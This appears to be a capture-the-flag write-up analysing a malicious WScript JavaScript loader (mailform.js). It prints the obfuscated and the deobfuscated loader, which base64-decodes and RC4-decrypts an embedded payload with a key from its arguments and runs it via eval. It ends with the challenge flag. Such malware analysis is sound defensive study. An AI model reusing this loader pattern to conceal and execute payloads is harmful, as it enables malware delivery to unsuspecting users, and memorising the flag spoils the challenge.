var lVky=WScript.Arguments;var DASz=lVky(0);var Iwlh=lyEK();Iwlh=JrvS(Iwlh);Iwlh=xR68(DASz,Iwlh);eval(Iwlh);function af5Q(r){var a=r.charCodeAt(0);if(a===43||a===45)return 62;if(a===47||a===95)return 63;if(a<48)return-1;if(a<48+10)return a-48+26+26;if(a<65+26)return a-65;if(a<97+26)return a-97+26}function JrvS(r){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var t;var l;var h;if(r.length%4>0)return;var u=r.length;var g=r.charAt(u-2)==="="?2:r.charAt(u-1)==="="?1:0;var n=new Array(r.length*3/4-g);var i=g>0?r.length-4:r.length;var z=0;function b(r){n[z++]=r}for(t=0,l=0;t<i;t+=4,l+=3){h=af5Q(r.charAt(t))<<18|af5Q(r.charAt(t+1))<<12|af5Q(r.charAt(t+2))<<6|af5Q(r.charAt(t+3));b((h&16711680)>>16);b((h&65280)>>8);b(h&255)}if(g===2){h=af5Q(r.charAt(t))<<2|af5Q(r.charAt(t+1))>>4;b(h&255)}else if(g===1){h=af5Q(r.charAt(t))<<10|af5Q(r.charAt(t+1))<<4|af5Q(r.charAt(t+2))>>2;b(h>>8&255);b(h&255)}return n}function xR68(r,a){var t=[];var l=0;var h;var u="";for(var g=0;g<256;g++){t[g]=g}for(var g=0;g<256;g++){l=(l+t[g]+r.charCodeAt(g%r.length))%256;h=t[g];t[g]=t[l];t[l]=h}var g=0;var l=0;for(var n=0;n<a.length;n++){g=(g+1)%256;l=(l+t[g])%256;h=t[g];t[g]=t[l];t[l]=h;u+=String.fromCharCode(a[n]^t[(t[g]+t[l])%256])}return u}function lyEK(){var r="......";return r}

to deobfuscate it go to this website https://deobfuscate.io/

here is the deofuscated clean javascript code

var lVky = WScript.Arguments;
var DASz = lVky(0);
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
eval(Iwlh);
function af5Q(r) {
  var a = r.charCodeAt(0);
  if (a === 43 || a === 45) return 62;
  if (a === 47 || a === 95) return 63;
  if (a < 48) return -1;
  if (a < 58) return a - 48 + 26 + 26;
  if (a < 91) return a - 65;
  if (a < 123) return a - 97 + 26;
}
function JrvS(r) {
  var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  var t;
  var l;
  var h;
  if (r.length % 4 > 0) return;
  var u = r.length;
  var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
  var n = new Array(r.length * 3 / 4 - g);
  var i = g > 0 ? r.length - 4 : r.length;
  var z = 0;
  function b(r) {
    n[z++] = r;
  }
  for (t = 0, l = 0; t < i; t += 4, l += 3) {
    h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
    b((h & 16711680) >> 16);
    b((h & 65280) >> 8);
    b(h & 255);
  }
  if (g === 2) {
    h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
    b(h & 255);
  } else if (g === 1) {
    h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
    b(h >> 8 & 255);
    b(h & 255);
  }
  return n;
}
function xR68(r, a) {
  var t = [];
  var l = 0;
  var h;
  var u = "";
  for (var g = 0; g < 256; g++) {
    t[g] = g;
  }
  for (var g = 0; g < 256; g++) {
    l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
    h = t[g];
    t[g] = t[l];
    t[l] = h;
  }
  var g = 0;
  var l = 0;
  for (var n = 0; n < a.length; n++) {
    g = (g + 1) % 256;
    l = (l + t[g]) % 256;
    h = t[g];
    t[g] = t[l];
    t[l] = h;
    u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256]);
  }
  return u;
}
function lyEK() {
  var r = "........";
  return r;
}

this code takes an argument from executing mailform.js script which is vF8rdgMHKBrvCoCp0ulm and decrypts base64 and then perform RC4 encryption and then executes the decrypted code using eval so we will just make sure to put the argument and replace eval by console.log to print the decrypted code

var DASz = "vF8rdgMHKBrvCoCp0ulm"
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
/*eval(Iwlh);*/
console.log(Iwlh);
...
...
...
<EVERYTHING ELSE HERE>

and here is the code executed after decrypting and again its an obfuscated javascript code

let's deobfuscate it again

scrolling down we can see a variable called flag which holds base64 value so let's decrypt it

Flag :

HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}

PreviousData Siege NextPwn

Last updated 1 year ago

Was this helpful?